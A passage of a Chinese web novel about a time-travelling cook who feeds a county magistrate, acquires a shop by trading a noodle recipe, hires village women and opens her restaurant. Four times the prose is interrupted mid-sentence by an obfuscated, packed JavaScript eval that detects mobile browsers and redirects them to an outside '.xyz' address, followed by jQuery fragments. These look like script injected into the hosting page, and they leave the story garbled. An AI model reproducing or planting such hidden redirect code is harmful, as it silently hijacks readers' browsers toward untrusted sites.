青竹一听这话，立马解释：“大人，今日的午膳是由新来的厨娘做的鱼丸鸡汤米线，味道自是不同寻常，而且这位厨娘是专门为县令大人做膳食的，错过这次可不一定能再尝到了。” 梁捕头满脸不信的样子，嘲笑道：“小青竹，你可真没吃过好东西，一碗米线就能叫你吹上天。” 青竹撇撇嘴：“不信你问裴大人。” 众人的表情精彩纷呈，他们想不到平日里无欲无求、一心为民的县令大人会沉迷于口腹之欲。 陈县丞神色复杂，裴县令文采斐然、满腹经纶，他打心底里欣赏这位新科状元，未曾想这位才子对吃食情有独钟，这位小辈高大的形象在陈县丞心里碎掉了。 裴昱臣起身理了理衣摆，没有理会他们惊异的表情，而是淡声道：“本官饥肠辘辘，先行一步。” 县令大人步履匆匆，掀起一阵清风，不明真相的人还会以为出了什么大案子呢。 堂中剩下的人面面相觑，好一会没反应过来，裴大人竟然就这么丢下他们走了。 “额，大人可能是真饿了……”陈县丞出言为其找补，“老夫也略感饥饿，也先去膳房用饭了。” 其他人纷纷出声附和，接二两三地走了出去。 此时的膳房十分热闹，衙役们都没有坐在座位上，而是围在打饭的长桌前争抢。 “别挤我，别挤我，我的米线要撒啦！” “这米线太少了，完全不够吃呀。” “嘿，你这伙夫，怎么给我最少的那碗。” “朱师傅，再给我来一碗吧。” 裴昱臣一进膳房就瞧见这一幕，紧随他而来的官吏们傻眼了，他们万万想不到有一日县衙的伙食还能如此受欢迎，当真是开了眼了。 “我的娘啊，这伙人都疯了不成？”梁捕头瞠目结舌。 “这……这是因为大人您的厨娘吗？”陈县丞也没有见过这副场面，欲言又止地向身旁的裴昱臣求证。 裴昱臣轻轻点头，淡定道：“大惊小怪。”他的眼神带着一丝自满和神气，仿佛在说我挑中的人自是极好的。 “裴大人，你来了，快来尝尝我做的鱼丸鸡汤米线，我特意为您留了一大碗。”云楚沅从被围得水泄不通的长桌后探出身子，朝站在门口的裴昱臣招了招手。 一石激起千层浪。 “云姑娘，这不公平，为何裴县令的最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860568|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多？” “就是呀，云姑娘偏心，是不是裴大人长得俊，有优待啊。” “裴县令哪里吃得下啊，不如分我一半吧。” “云姑娘，云姑娘，你对未来夫婿有什么要求？样貌好还是品行佳？有学问还是会武艺？” “姑娘你看我怎么样，我长相不差，吃苦能干，家中父母健在，有兄弟姐妹四人，皆是和善之人。” 这群汉子越说越离谱，竟开始推荐起自己来了，云楚沅哭笑不得。 黑着脸的裴昱臣沉声道：“够了，不得对云姑娘无礼。” 衙役们这才偃旗息鼓，遗憾地离开了长桌。 裴昱臣在众人羡慕的眼神中，泰然自若地走过去，端起一大碗米线，“吸溜吸溜”吃了起来，向来讲究食不言寝不语的裴昱臣，竟有意无意地发出声响，引得众人垂涎欲滴。 陈县丞也端了一碗来吃，不尝不知道，一尝吓一跳，这鱼丸鸡汤米线打破了他们固有的认知，好吃到他们不知用什么语言来描绘，最后只能说一声，绝了。 先前还唧唧歪歪的梁铺头彻底没了声音，他正拼命往嘴里倒米线，还未嚼烂就吞了下去，众人纷纷侧目，暗骂一句暴殄天物。 云楚沅看着他们如此喜爱她做的膳食，脸上露出笑容，把美食吃得一干二净，就是对厨子最大的夸赞。 午膳过后，裴昱臣不急着离开，而是与云楚沅交谈了起来。 “云姑娘，县衙里住的可还舒心？” “承蒙大人关怀，西院环境清幽，器物齐全，还有丫鬟帮忙洒扫，我一切都好。” “那就好，若有缺的东西，你可以吩咐下人去置办，或者去找青竹也行。”裴昱臣给了她极大的权力，这县衙里除了他能使唤下人，云楚沅算第二个。 “多谢裴大人，小女子不胜感激。”云楚沅微微屈膝，双手轻轻搭在左腰处，行了一礼，姿态柔美，尽显端庄。 裴昱臣将她虚扶起身，视线落在云楚沅身后的小丫头身上，她眨着大眼，正好奇地望着他，“这位是？” 云楚沅的手放到小妹的后背上，将她往前推了两步，“这是我家中的小妹，名唤楚清，我父母双亡，小妹无人照料，遂带在身边。” 云楚清有样学样，学着云楚沅行礼，“裴大人安好。” 来之前，哥哥叮嘱过她，到了县衙要谨言慎行，千万不能冲撞了大人物，也不要给长姐添麻烦，云楚清时刻谨记，无事时也不会踏出房门半步，收起了在小渔村四处撒野的性子。 裴昱臣点点头，“小丫头瞧着乖巧，你们若是住一间房太挤，可以再收拾出一间屋子来住，西院没有旁人，你可以随意安排。” 云楚沅心中一喜，裴县令人还怪好嘞，本来还想着她们姐妹俩住一起就成了，结果裴大人主动开口为小妹安排住所，这便宜不占白不占。 为节省开支，裴昱臣遣散了县衙内不少丫鬟和小厮，这西院空着也是空着，能让他的小厨娘顺心一些，也算是物尽其用。 15. 筹备开店 云楚沅在县衙做了两日小厨娘，摆摊的事宜就先告一段落，她准备去牙行问问牙人，是否有卖房屋的消息了。 “哎哟，云小姐，您来的正好，上次我帮你打听的那家卤味铺子已经确定兜售了。”牙人一见到云楚沅，满脸兴奋地告诉了她这个好消息。 云楚沅很是激动，迫不及待道：“哪里的铺子，快带我去瞧一瞧！” 临安县东街位于连接集市的地方，算是比较繁华的地带，这条街上的商铺应有尽有，有卖粮的、卖书的、卖杂货的、卖衣裳的、卖胭脂水粉的，各类吃食铺子也不少，其中生意最好的当属街头的湘香馆，而云楚沅要盘下的铺子在街尾。 “冬娘，我将买主带来了。”牙人一踏进卤味铺子大门，高声喊道。 一位干练的婶子掀开布帘，从后厨走了出来，她将手中的抹布丢到桌上，上下打量着云楚沅。 “老邢，我可跟你说过了，我这铺子不卖给富户人家。”冬娘眉头皱起，拉下了脸，她瞧眼前这名女子，容貌出众，肤若凝脂，分明是个娇小姐。 云楚沅见冬娘误会了，赶紧解释道：“婶子，我并非富家千金，我是小渔村人，祖祖辈辈都是渔民。” 冬娘的脸色这才好看了点，但还是不太信，“你这细皮嫩肉的，我瞧着也不像是个做买卖的，你盘下我这铺子要做什么营生？” “我打算开家食肆，婶子，你别看我瘦弱，但我厨艺不错，我现在在县衙做厨娘，前段时日还在东市卖过海鲜面，你可以去打听打听，我绝无一句假话。”云楚沅郑重道。 “原来你就是那个在集市上卖面的小娘子，我知道你，我男人去你那摊位上吃过一次刀削面，回来念念不忘，老在我耳边念叨着还想吃，可惜你不去卖了。” 冬娘这下确信眼前的女子是真心实意想盘下铺子做生意的，不怪她如此谨慎，还不是因为徐家把她的卤味秘方套去之后，还大摇大摆地派人来收购她家铺子。 在云楚沅来之前，有不少街坊邻居想盘下她的铺子，她无意间听说原来是徐家人发话，谁能让她松口卖房子，徐家就给那人五贯钱报酬。 冬娘十分心寒，都是朝夕相处十多年的老熟人了，怎么都见钱眼开，明知她和徐家交恶，竟为了银子忽悠她。 说起卤味方子冬娘就难受的不行，他们祖孙三代一直在经营这家铺子，配方改良了好几次，眼看在临海县打出了名声，生意日渐好了起来。 她那天杀的败家男人喜欢去赌坊，上个月月末和人在湘香馆喝高了，将他们家每日进账多少银子嚷嚷了出去，叫人给盯上了。 临海县的赌坊也是徐家的产业，他们略施小计，就叫她男人欠下了巨额赌债，冬娘去赎人的时候被告知，要不交出卤味方子，要不就废了她相公的双腿。 冬娘那一刻只觉得天都要塌了，看着自家相公跪在地上痛哭流涕地忏悔，她心中不忍，这人虽不成大器，可对她和孩子都很好，平日里还会帮着她卖卤味，唯一不好的就是喜欢小赌。 可不管怎么说，都是自己的男人，就算是缺心眼上了人家的套，她也不能弃他于不顾吧，冬娘咬着牙交出了方子，换回相公一条小命。 临海县的生意做不下去了，他们一家人打算投奔亲戚，换个地方从新开始。 让冬娘欣慰的是，她相公痛定思痛，彻底戒赌了，也不外出和人喝酒了，每月就问她要几个铜板花用。 “姑娘，我就开门见山了，我家铺子位置不错，有后厨，还带着一个小院子，打了水井，挖了地窖。铺子里的桌椅、碗柜、炊具，都留给你，一口价一百二十两。” 云楚沅柳眉微蹙，这个价格比她的预期翻了一番，原想着自己攒下的银两能盘下一间小铺子，可这间铺子比她想象的大很多，大堂中有十二张方桌加一个柜台，后厨有两个灶台，还自带一个后院。 她对这间铺子是很满意，就是她手里的银钱不够啊，总不能再向别人借钱吧，林家的欠债都还没还清呢。 云楚沅脑子一转，想出了一个好法子，“冬婶子，实不相瞒，我本来想着买间小一点的铺子，所以准备的银子不足。这样吧，你既然要去大县城做生意，光一道卤味怎么够卖的，我把海鲜刀削面的做法教给你，折算成银子行不？” 冬娘听了这个法子，有些心动，银子是死物，配方却可以钱生钱，自家男人都赞叹不已的刀削面肯定有其过人之处，倘若自己多掌握一样吃食方子，日后生意做起来也更顺利。 “云姑娘，你先做一碗刀削面给我尝尝吧。” 云楚沅回了县衙一趟，将她特制的削面刀带了过来，她跟着冬娘来到后厨，撸起袖子开始做面，和面、削面、煮面，一气呵成。 就这削面的手法就把冬娘震住了，更不用说后面爆炒海鲜时的味道，真是香死个人。 冬娘尝过这碗海鲜刀削面后，二话不说就同意了云楚沅的请求，过了这个村就没这个店了，这样天降的好事若是不答应，她祖母都能从棺材里跳起来骂她。 “云姑娘，要我说，你这方子卖一百两都算亏，这样吧，这铺子我就不收你银钱了，就算是你拿配方和我换的就成！” 当初有人出价三百两买她家的卤肉方子，冬娘都没有答应，她是最清楚手艺的重要性了，一道极好的吃食配方，甚至都能够改换门庭，前朝的一位御厨就凭一道鸡肉羹获得皇帝青睐，一步登天。 而且一百多两银子真不算贵，以她卤味铺子的营利来算，三年两载便能赚回来。 牙人也借此机会尝了碗刀削面，他出声感叹道：“冬娘啊，你这回算是捡了个大便宜呀。” 冬娘也觉得如此，虽然她们家刚遭了难，可谁知接着便遇上了好事，这就是福祸相依呀。 “冬婶子，那我们就签订契约吧。”云楚沅对这个结果同样乐见其成，她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860569|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑子里有太多美食的配方了，开食肆也卖不过来，倒不如关键时刻卖出去来的划算。 双方都很满意自己的所得，动作迅速地签字画押，再去官府做公正，这家铺子就正式划到云楚沅的名下了。 给了牙人一笔牙钱后，云楚沅拿着冬娘给的店铺钥匙离开，回了小渔村。 “楚沅回来了？县衙里的生活怎么样啊，是不是成日里吃香的、喝辣的？”村头大树下坐着一群大娘，她们一见云楚沅回到了村子，立马围上来问这问那。 “哪能啊？咱们县令都少食荤菜，我这个做厨娘的，怎么能逾矩呢。”云楚沅打哈哈。 “楚沅啊，咱都是一家人，你可别蒙我们。”有人明显不相信她的这套说辞。 云楚沅语气真挚道：“裴县令为官清廉，还遣散了不少下人，吃穿用度都很节俭，我自然要向裴大人学习。” “你说的有道理。”另一位婶子接受了这个说法，她眼珠子一转，又冒出了别的念头，“欸，楚沅啊，县衙里还缺捕快吗？你觉得我家城子怎么样？” “呃，婶子，这个我不太清楚，不过捕快是需要接受徭役指派的，而且还有一定的危险性，城子哥得身手了得才能缉拿盗贼呀。”云楚沅把自己知道的说了出来。 “啊？那算了，这捕快也不是个好差事。” “你可拉倒吧，就你家城子那走一步晃三下的体虚样子，还想当捕快？可别小贼没逮住，自己先被撂到了。” “呸，姓余的，你狗嘴里吐不出象牙，我儿子咋啦？我儿子最有本事了，他三岁就能识字，不像你儿子，痴痴傻傻的，十来岁了还分不清东南西北。” “你说谁傻子呢？你这臭婆娘，我看你就是欠打！” “啊，你竟敢薅我的头发，看我不挠花你这张老脸！” 两个大娘一言不合就打了起来，周围的人纷纷上前拉住了她们，云楚沅不愿掺和她们的口角之争，寻了个间隙，从人群中溜走了。 海风吹起她的青丝，云楚沅微微闭上眼睛，深吸一口气，几日没回来，她都有些想念这股咸湿的空气了。 “阿姐，你回来啦！” 云楚沅还未睁开眼，便感到有人撞到了她的身前，一把搂住了她的腰，“小弟，想我了吗？” 云楚河猛猛点头：“想死你了阿姐，我昨日差点忍不住进城找你，还是师傅把我拦住了。” “你可不能一个人进城，太危险了，有什么事你可以托人捎信给我。” 云楚河摸了摸后脑勺，“阿姐我不识字，只能找小周大夫帮我写了。” 她差点忘记了，小渔村的村民大多数都目不识丁，周大夫算是为数不多会识字的人了。 云楚沅从原主的记忆可知，她是没学过大燕朝文字的，可云楚沅在穿越前毕竟是受过高等教育的人，这里的文字和现代的古文字有异曲同工之妙，她勉强能够辨认得出。 16. 云记食肆 云楚沅和小弟一起回了家，推开门发现院子被打理的井井有条，看来他一个人在家也没有疯玩，还知道打扫卫生呢。 “楚河，阿姐去做饭，你想吃什么？随便点。”小弟这么懂事，云楚沅自然要嘉奖他，今日便满足他的胃，叫他吃个痛快。 云楚河相当兴奋，激动得原地蹦了两下，“真的吗？阿姐，我想吃什么你就做什么？” “阿姐说话算话。” “哇，那我要吃油焖大虾、红烧鱼、海鲜大杂烩、牡蛎煎饼、金鱼饺……”云楚河将云楚沅之前做过的美食通通点了一遍，大有一口气吃到撑的势头。 云楚沅眼底带笑地点头答应，没有说他肯定吃不完这么多东西，吃食做多了可以送人，小弟难得提要求，现下就不要扫他的兴了。 灶房内，云楚河负责处理鱼虾，云楚沅忙着和面，二人一边搭配干活，一边聊着这两日的生活。 “阿姐，我捕鱼的技艺又进步了许多，如今我跟着阿汤师傅出海，能带回来一筐鱼呢，大鱼我放进我们家的鱼缸里了，小鱼苗被我投进鱼塘了。” 大鱼就不必放进鱼塘里和小鱼抢草料吃了，等阿姐回来做成咸鱼，或是送到县里卖了就好。 “阿弟，我已经盘下了一间铺子，打算过几日就开张，这些鱼就留着当食材吧。” “阿姐，那日我要去县城！” “那是自然，我们云家的食肆开张，你怎么能不到场呢？” 两人吃了一顿丰盛的午膳，云楚河不停打嗝，捂着凸起的肚子瘫在椅子上不动了，毫不夸张的说，这顿饭是自打出生以来吃过最满足的一顿，就连往年过节时，都没吃的这么好过。 “楚河，别坐着了，起来走两步，消消食。”云楚沅将一动不动的小弟从椅子上拉了起来，两人慢吞吞地在院子里走了两圈。 “你先歇歇吧，我出门一趟。” 来到隔壁的钱家，云楚沅拍门喊人：“钱婶，你在家吗？” “来啦！” 熟悉的声音由远及近传来，钱婶一开门见来人是云楚沅，顿时喜上眉梢，“哎哟，我说怎么今早门外的树上有喜鹊叫唤，还以为有什么好事要发生呢，原来是我们的大忙人楚沅回来啦！” 钱婶注意到云楚沅的手里端着的大碗里摆满了吃食，不好意思地笑道：“楚沅啊，你每回来我们家都带东西，弄得我以后都不敢给你开门了。” 跟在钱婶的身后走进了钱家，云楚沅发现院子里没有别人，桌上摆满了一片狼藉的空碗和空盘，“钱婶，你们吃过饭了？” “是呀，刚用完午膳，他们都回屋休息了。”钱婶收拾着碗筷，看见云楚沅搭手帮忙，她吓了一跳，“哎哟，放着我来，怎么能让你脏了手呢。” “没事的，钱婶，顺手的事。”云楚沅还想帮忙，钱婶如临大敌，一把抓住她的双手，推搡着云楚沅的身体，一副不让她靠近的样子。 “使不得，使不得。” 如今云丫头有出息了，都能当上县衙的厨娘了，她那双巧手可是用来给县令大人做珍馐的，哪能来她家里做粗活。 两人你一言我一句的争论声，吵到钱家人，他们纷纷走出来查看什么情况。 林秀秀衣衫凌乱，显然是刚从榻上下来，“娘，你干什么呢？声音这么大，都把元宝吵醒了。” 屋内隐约传来孩童哼哼唧唧的声音，还有男人的轻哄声。 元宝是钱家唯一的孙子辈，金贵的很，林秀秀也因此挺直了腰板，敢跟婆婆和小姑子叫板。 在林秀秀看来，她相公是钱家唯一的儿子，那钱家的所有东西都属于她儿子，春香这个赖在家里吃白饭的，就格外碍眼，她巴望着有个男人赶紧把她娶走。 钱婶气不打一处来，这个儿媳妇越来越不像话了，吃完了饭也不主动留下来收拾碗筷，一句“要给孩子喂奶”，就钻进屋子里躲懒去了，她都不如云丫头，人家一个外人都知道帮她收拾，林秀秀这个正儿八经的儿媳怎么就知道装瞎。 “你还说起我的不是来了？孩子哄不好你就别带了，我来照顾我大孙子，你没看见剩的碗筷还没收拾吗？成天就知道顶嘴，眼里一点活都没有，我要你这个儿媳还不如不要！不如趁早叫阿财休了你，换个勤快的来。”钱婶的嘴像是连珠炮一样，“突突突”对着林秀秀喷个不停。 推开房门的钱春香又听见娘和嫂子拌嘴，快步走了出来，“娘，我来帮你收拾。” “你别动，我就看这懒婆娘愿不愿意干！” 从主屋走出来的钱大叔听到这话，开口劝了两句：“孩子她娘，差不多得了。” “你闭嘴！”钱婶瞪了他一眼，钱大叔缩了缩脑袋，不敢说话了，和云楚沅打了声招呼后，悄悄回了房间。 见没人替她说话，就连自家相公都躲在屋里不掺和婆婆教训她的事，林秀秀不情不愿地去刷碗了。 “楚沅啊，叫你看笑话了，走，我们去春香的屋子里坐坐，你这次来，所为何事呀？”钱婶面对云楚沅，立马换了副表情，热情洋溢地将她迎进了东屋。 钱春香的屋子干净整洁，床头摆放着许多绣品，三人盘腿坐在床榻上，云楚沅拿起竹筐里的一个荷包，瞧见其精致的做工，不由出声夸赞：“春香姐真是心灵手巧，你这一个绣品能卖多少钱？” “一条绣帕十几文，一只香囊或荷包卖二百多文，但是针线和布料需要自己卖。” 云楚沅问道：“那你一日能绣完几件绣品。” “一日能绣十条帕子，荷包和香囊需一日半才能做出一个来。” 钱婶心疼的摩挲着女儿的手，对云楚沅说道：“春香这赚的是辛苦钱啊，而且县城的绣房不是每样都要，有些样式还被退了回来。她这双手上都磨出了厚茧，日日绣到天黑，我都怕她的眼睛瞎掉。就这样，林秀秀那个贼婆娘还要说三道四。” 云楚沅算了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860570|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 番，钱春香一天绣的帕子就算能全部卖掉，也只能赚个几十文，毕竟绸缎和棉布不便宜，卖不出去还要自己承担成本，确实不容易。 “钱婶，春香姐，我这次来是想问问你们两人愿意去县里做活吗？”云楚沅说了自己的目的，她的食肆要招人，不如先问问村里人有想做的吗，不是她自己吹嘘啊，在食肆做伙计这份工作可是很抢手的。 “楚沅，是什么活计？” “我要开一间食肆，正缺人呢，需要账房、跑堂、杂役等伙计，月钱三两银子，你们愿意干吗？” 钱婶和钱春香呆住了，久久说不出话来，她们没想到云家丫头这么有本事，不但做了县衙的厨娘，还能开起食肆来了，更想不到她愿意雇她们母女去做活计，还给这么高的月钱。 “楚沅，婶子是很想去，不过我们没有你的好手艺，能做什么呢？” “婶子，你只用在后厨做切菜、洗碗这类杂活，春香姐可以负责给客人点菜和上菜，都不是难事。” 钱春香结结巴巴道：“点菜要收银子吧，我，我大字都不识一个，又不会用算盘，如何能算好账呢。” “春香姐，你这么聪明，完全可以学一学啊，待你有了立身之本，谁还会说你的不是？”云楚沅并不觉得这是问题，数钱谁不会数啊，她只要学会数字怎么写，就能记账了。 这番话算是说到钱春香的心坎了，外人异样的眼光让她不敢抬起头做人，要是她能像男子一样赚钱养家，不嫁人又能如何呢？ 云楚沅瞧着钱春香神色动摇，就知道说动她了，接着她又对钱婶劝道：“婶子，你是出去赚银子的，谁有资格指责你呢？” 钱婶一想也是，她呆在村子里，整日忙着家长里短的，还落不得儿媳一句好，她不是想管家吗？正好，借此机会她带着女儿去县城，看她能怎么持家。 下定决心后，钱婶一口答应下来，待云楚沅离开后，她把这个消息告知了家人，不管他们如何震惊，钱婶已经下定了决心。 和钱婶母女约定好后，云楚沅又去了趟阿汤家，请他每日从鱼塘里捞出一些货，送到食肆去，当然，月钱是少不了的。 尽管阿汤不愿收，云楚沅也坚持要给，不然就找别人，阿汤只好收下。亲兄弟都要明算账呢，和银子相关的事马虎不得，省得以后出现分歧，伤了情分。 云楚沅回到县衙的第一件事就是去找裴昱臣，请他为食肆的牌匾提字。 “云记食肆”四个大字笔走龙蛇、行云流水，令人赞叹不已。 “裴大人的书法浑厚遒劲，挂在食肆门口，绝对吸睛。”云楚沅左瞧右看，反复欣赏着他的书法，这可是状元郎的墨宝，她定要好好珍藏。 “云姑娘满意就好，只是你开了食肆后，可别忘了我。”裴昱臣不动声色地露出他的小心思。 云楚沅信誓旦旦：“放心吧，裴大人，我不会忘记给你做膳食的，我可是你的小厨娘。” 17. 开张大吉 裴昱臣暗自松了一口气，如今他是一日不吃云楚沅做的膳食，一日就不得劲，他的嘴已经被小厨娘养叼了。 “云姑娘，食肆何时开张？” “三日后。” “好，到那日午时，我去给你捧场。” “好呀。”云楚沅很高兴，裴县令可是个行走的活招牌，倘若他能到场，那云记食肆卖的吃食肯定会大爆。 裴昱臣看着她笑靥如花的样子，轻笑两声：“怎么，你很希望我去吗？” 上次东市遇到她卖刀削面的事，裴昱臣还记得，当时他的出现造成了轰动，为她带去了不少生意。 他县令的名头是一回事，但云楚沅的好手艺又是另一回事，若她的吃食不够吸引人，就算他亲自为她造势，也起不到什么作用。 裴昱臣知晓云楚沅盼着他去是怎么一回事，可他自认为只算是锦上添花，并不能决定云记食肆生意的好坏。 “裴大人，你可以认为，我把你当做吉祥物了，就像是招财的貔貅！” 古人不明白什么叫明星效应，云楚沅只好换种方式向他解释，招财进宝的祥瑞神兽，这个比喻多贴切呀。 裴昱臣的神色几经变化，欲言又止道：“所以我是只进不出？”他还是头一回听说把人比作貔貅的，听起来很是别扭。 “哈哈，裴大人我是夸你旺财，不是说你抠门。” 听到这话，裴昱臣噎了噎，她怎么越描越黑了，旺财通常是狗的名字，要不是裴昱臣了解云楚沅是个什么样的人，他都要以为她是在暗讽他了。 云楚沅想着这里又没有招财猫，她不如在铺子里贴上裴昱臣的画像，讨个吉利，还能驱邪避凶，省得不长眼的小贼盯上她的食肆。 “裴大人，可否赠予我一张你的画像？”云楚沅心直口快，出声讨要。 裴昱臣捏了捏袖口，不自在地问道：“姑娘要我的画像做什么？” 她还真是不矜持，怎能如此直白地索要男子的画像呢，裴昱臣心中犯嘀咕。 “自然是要张贴在我的铺子里，震慑宵小。”云楚沅自然而然地说道。 “……”裴昱臣傻愣愣地看向她，哑口无言，心底刚泛起的羞意荡然无存，原是他自作多情了。 “裴大人，你愿意吗？” 云楚沅走近了两步，双手托腮，眨巴着亮闪闪的大眼睛，嘟着嘴卖萌。 “咳咳咳！”裴昱臣如临大敌般连连后退，撞上了身后的书桌，书籍纸张散落一地。 他俊脸微红，手忙脚乱地弯下腰捡书，不敢看云楚沅所在的方向，待他要去拿最后一本书时，指尖不小心触到了一只白皙的柔荑。 “哗啦啦！”手中的书再次掉落一地，裴昱臣脑中一片空白，这是他第一次与女子有如此亲密的接触，虽一触即离，他也感受到了那抹温热与柔软。 这个小小的意外，叫向来足智多谋的裴大人变成了呆呆傻傻的木脑子，浑身僵硬地立在原地。 云楚沅疑惑地看向裴昱臣，不过是指尖不小心碰在一起了，他怎么反应这么大。 不会吧，不会吧，裴县令这么纯情吗？碰了下手指头就害羞了。 裴昱臣满脸通红，鼻腔里呼出的气息紊乱，落在云楚沅的眼中，他就像一只水烧开的茶壶，仿佛下一秒就要沸腾了。 这要是有人对他使一招美人计，他还不得束手就擒？想起裴昱臣对土匪用过的美人计，云楚沅又否定了这个想法，办案子时的裴县令都会忍辱负重，区区美人计又怎会迷惑得了他。 “裴大人，你没事吧？”云楚沅走近，用手在他眼前晃了晃。 裴昱臣缓缓回神，视线又定在了那只白皙的柔荑上，纤纤玉指宛如雕刻的美玉，圆润的指尖如花瓣般粉嫩，随着腕骨的摆动，光滑无瑕的小手几乎晃花了他的眼。 眼前的男子再次神游天外，云楚沅十分无语，这就是才华横溢的新科状元吗？他这个样子和小渔村里那个十岁不分南北的呆子有什么差别？ 无奈的云楚沅提高声量：“大人！开饭啦！” “啊？”裴昱臣骤然回神，看见捂嘴偷笑的云楚沅，就明白自己犯蠢的模样被瞧得一清二楚。 他稳了稳心神，弯腰躬身，双手作揖，语气诚恳道：“是小生无礼了，冒犯了姑娘，望姑娘恕罪。” 这人怎么又向她道歉，上一次请罪就送了她县衙厨娘的工作，这次又要赔什么礼？ 果然，不等云楚沅说话，裴昱臣说道：“云姑娘，你要几张画像，我都给。” 方才还对她提的要求犹疑的人，这下答应得痛快。 看着裴昱臣从画缸里连着拿出四五副画，云楚沅开口阻止：“大人，一张足矣。” 她又不是拿回去收藏的，要那么多干嘛。 “云姑娘挑一张吧。”裴昱臣拘谨地为她展开画卷，叫人挑选自己的画像，感觉很奇怪。 一幅状元郎打马游街的画瞬间吸引了云楚沅，画上的男子头戴金冠，身穿红袍，骑着高头大马，身姿挺拔，气宇轩昂。 这幅画将少年郎的意气风发刻画得淋漓尽致，云楚沅仿佛身临其境般，体会到了这人喜悦和骄傲，还有那份兼济天下的抱负。 “我喜欢这幅画。”云楚沅毫不犹豫地做出选择。 裴昱臣摩挲着画卷，对此毫不意外，至今他依然记得当初高中状元的欣喜若狂，他算是没有辜负寒窗苦读的十几年。 “这幅画赠予云姑娘，愿云记食肆福星高照，开张大吉。” —— “瞧一瞧，看一看嘞，云记食肆，新店开张，限时八折！” 云记食肆门口，云楚沅在众目睽睽之下，一把揭下盖在牌匾上的红布，云楚河和云楚清兄妹二人在一旁敲锣打鼓，吸引客人。 “小娘子，八折是何意？” “我们食肆今日开张，给客官们让价，定价十文，只收八文。” 云楚沅此话一出，顿时吸引了许多人。 “哟，这么好的事，我可不能错过。” “这不是东市卖面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860571|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小娘子吗？你家的吃食，那肯定差不了！”有人认出了云楚沅，欢欢喜喜地进了云记食肆。 “店丫头，我要点单！” 头一回接待客人的钱春香深吸一口气，“客官，我们店的吃食有红烧鱼、炒花蛤、油焖大虾、酱烧鱼块、蒜蓉海蛎、金鱼饺、海鲜面、海鲜粥，您要点什么？” 汉子思索了一会，问道：“红烧鱼和酱烧鱼块哪个好吃？” “两种都很好吃，红烧的味道鲜美，色泽红亮，酱烧的加了豆酱，咸香浓厚，看您喜欢哪一种。”钱春香先前被云楚沅教过要怎么介绍吃食，她牢记于心。 “那就给我来一道红烧鱼，一道油焖大虾和一份海鲜粥吧。” “好嘞，客官稍等片刻，菜马上就来。” 钱春香将菜名记在纸上，送进后厨，这几日钱春香一直都在家中埋头苦练，将几道菜的名字记得滚瓜烂熟，她也算是识字的人了。 随着接二两三的客人点菜，后厨忙得热火朝天，云楚沅掌勺，钱婶为她打下手。 像是金鱼饺、海鲜面、海鲜粥这类主食，钱婶就可以搞定，饺子提前包好了，只需上锅蒸，海鲜面做法简单，钱婶一学就会，熬好的粥另起小灶用小火煨着。 云楚沅的任务更艰巨，她一人占据灶台上的两口锅，重复做着那几道鱼虾和花蛤，熟能生巧，同时做两道菜，对她来说游刃有余。 一道道热气腾腾海鲜美食出锅了，香味从后厨飘散到大堂，引起众人热议。 “哇，这也太香了吧，我等不及要尝尝了。” “不愧是云小娘子，她在东市卖面时，我就经常去吃，那滋味真绝了！” 大堂中的十二张桌子，座无虚席，陌生人甚至会拼桌坐在一起，他们翘首以盼，都对云记食肆的吃食抱着极大的期待。 “客官，菜来了！”钱春香一边吆喝，一边手脚麻利地上菜，经过和十几个人的交谈，她已经适应了这份活计，不再露怯。 老李是钱春香接待的第一位客人，红烧鱼、油焖大虾和海鲜粥一起上桌后，他神情陶醉地闻了个遍，他是西街人，之前没去东市吃过云楚沅的面。 今日他是来东街拜访亲戚的，机缘巧合进了这家店，他对吃食并不挑，原本是想着随便吃一顿午膳，没想到这云记食肆如此不同寻常。 这些菜从卖相到气味、再到味道，无一不绝，老李细细咀嚼着口中鲜嫩的鱼肉，静静享受，这道红烧鱼没点错，甚是美味！ 不过，老李又对没点过的酱烧鱼块升起了好奇，既然店丫头说酱烧的同样好吃，那他也点来尝尝呗，反正这家店新开张，一道鱼三十文，今日只要二十四文，优惠许多。 